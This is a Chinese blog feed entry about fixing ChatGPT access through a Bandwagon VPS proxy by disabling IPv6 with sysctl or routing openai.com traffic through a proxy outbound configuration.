    <content type="html"><![CDATA[<link rel="stylesheet" type="text/css" href="https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css"><h2 id="问题描述"><a href="#问题描述" class="headerlink" title="问题描述"></a>问题描述</h2><p>一直使用搬瓦工 VPS 科学访问 ChatGPT，早上突然不行了；提示一个 <strong>San Jose</strong> 的 IPv6 地址，<code>ip -6 a</code> 查看 VPS 的 IPv6 信息，发现对不上。<br>好像搬瓦工 VPS 没有 IPv6 的，这是突然有了内网 IPv6 然后使用广播地址，用的人多了被 Ban 了咩？<br>暂不深究原因，先解决问题再说；找了一圈发现客户端并没有<strong>禁用 IPv6</strong> 或者 <strong>IPv4 优先</strong>的设置选项，那么只能从服务端入手：</p><h2 id="禁用-IPv6"><a href="#禁用-IPv6" class="headerlink" title="禁用 IPv6"></a>禁用 IPv6</h2><p>一刀切，直接关闭 VPS 的 IPv6</p><h3 id="临时生效"><a href="#临时生效" class="headerlink" title="临时生效"></a>临时生效</h3><p>禁用<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sysctl -w net.ipv6.conf.all.disable_ipv6=1</span><br><span class="line">sysctl -w net.ipv6.conf.lo.disable_ipv6=1</span><br></pre></td></tr></table></figure><br>启用<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">sysctl -w net.ipv6.conf.all.disable_ipv6=0</span><br><span class="line">sysctl -w net.ipv6.conf.lo.disable_ipv6=0</span><br></pre></td></tr></table></figure></p><h3 id="永久生效"><a href="#永久生效" class="headerlink" title="永久生效"></a>永久生效</h3><p>上述方法，系统重启失效，如果想要<mark>永久</mark>生效，执行上述操作同时再加上以下命令：<br><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;net.ipv6.conf.all.disable_ipv6=1&#x27;</span> &gt;&gt; /etc/sysctl.conf</span><br><span class="line"><span class="built_in">echo</span> <span class="string">&#x27;net.ipv6.conf.lo.disable_ipv6=1&#x27;</span> &gt;&gt; /etc/sysctl.conf</span><br></pre></td></tr></table></figure><br>重启以后依旧有效，不想重启直接运行 <code>sysctl -p</code> 使之生效</p><h2 id="设置分流"><a href="#设置分流" class="headerlink" title="设置分流"></a>设置分流</h2><p>即：通过修改配置文件设置类似 <strong>IPv4</strong> 和 <strong>IPv6</strong> 的出口，然后<code>openai.com</code>的流量走<strong>IPv4</strong>，此方法较为科学，但相对复杂，容易出问题。<br>暂时没空研究，关键需求不大，投入产出比不高，服务端配置大致设置如下：<br><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br></pre></td><td class="code"><pre><span class="line">&quot;outbounds&quot;: [</span><br><span class="line">    &#123;</span><br><span class="line">        &quot;tag&quot;:&quot;IPv4&quot;,</span><br><span class="line">        &quot;protocol&quot;: &quot;freedom&quot;,</span><br><span class="line">        &quot;settings&quot;: &#123;&#125;</span><br><span class="line">      &#125;,</span><br><span class="line">      &#123;</span><br><span class="line">        &quot;tag&quot;:&quot;IPv6&quot;,</span><br><span class="line">        &quot;protocol&quot;: &quot;freedom&quot;,</span><br><span class="line">        &quot;settings&quot;: &#123;</span><br><span class="line">          &quot;domainStrategy&quot;: &quot;UseIPv6&quot;</span><br><span class="line">        &#125;</span><br><span class="line">      &#125;</span><br><span class="line">],</span><br><span class="line">&quot;routing&quot;: &#123;</span><br><span class="line">    &quot;rules&quot;: [</span><br><span class="line">      &#123;</span><br><span class="line">        &quot;type&quot;: &quot;field&quot;,</span><br><span class="line">        &quot;outboundTag&quot;: &quot;IPv6&quot;,</span><br><span class="line">        &quot;domain&quot;: [&quot;geosite:openai.com&quot;]</span><br><span class="line">      &#125;,</span><br><span class="line">      &#123;</span><br><span class="line">        &quot;type&quot;: &quot;field&quot;,</span><br><span class="line">        &quot;outboundTag&quot;: &quot;IPv4&quot;,</span><br><span class="line">        &quot;network&quot;: &quot;udp,tcp&quot;</span><br><span class="line">      &#125;</span><br><span class="line">    ]</span><br><span class="line">  &#125;</span><br></pre></td></tr></table></figure></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; type=&quot;text/css&quot; href=&quot;https://cdn.jsdelivr.net/hint.css/2.4.1/hint.min.css&quot;&gt;&lt;h2 id=&quot;问题描述&quot;&gt;&lt;a href=&quot;#问题描述&quot; class=&quot;head</summary>
      
    
    
    
    <category term="高效工作" scheme="https://yuwei.cc/categories/%E9%AB%98%E6%95%88%E5%B7%A5%E4%BD%9C/"/>
    
    
    <category term="ChatGPT" scheme="https://yuwei.cc/tags/ChatGPT/"/>
    
    <category term="搬瓦工" scheme="https://yuwei.cc/tags/%E6%90%AC%E7%93%A6%E5%B7%A5/"/>
    
    <category term="VPS" scheme="https://yuwei.cc/tags/VPS/"/>
    
    <category term="IPv6" scheme="https://yuwei.cc/tags/IPv6/"/>
    
  </entry>
  
</feed>
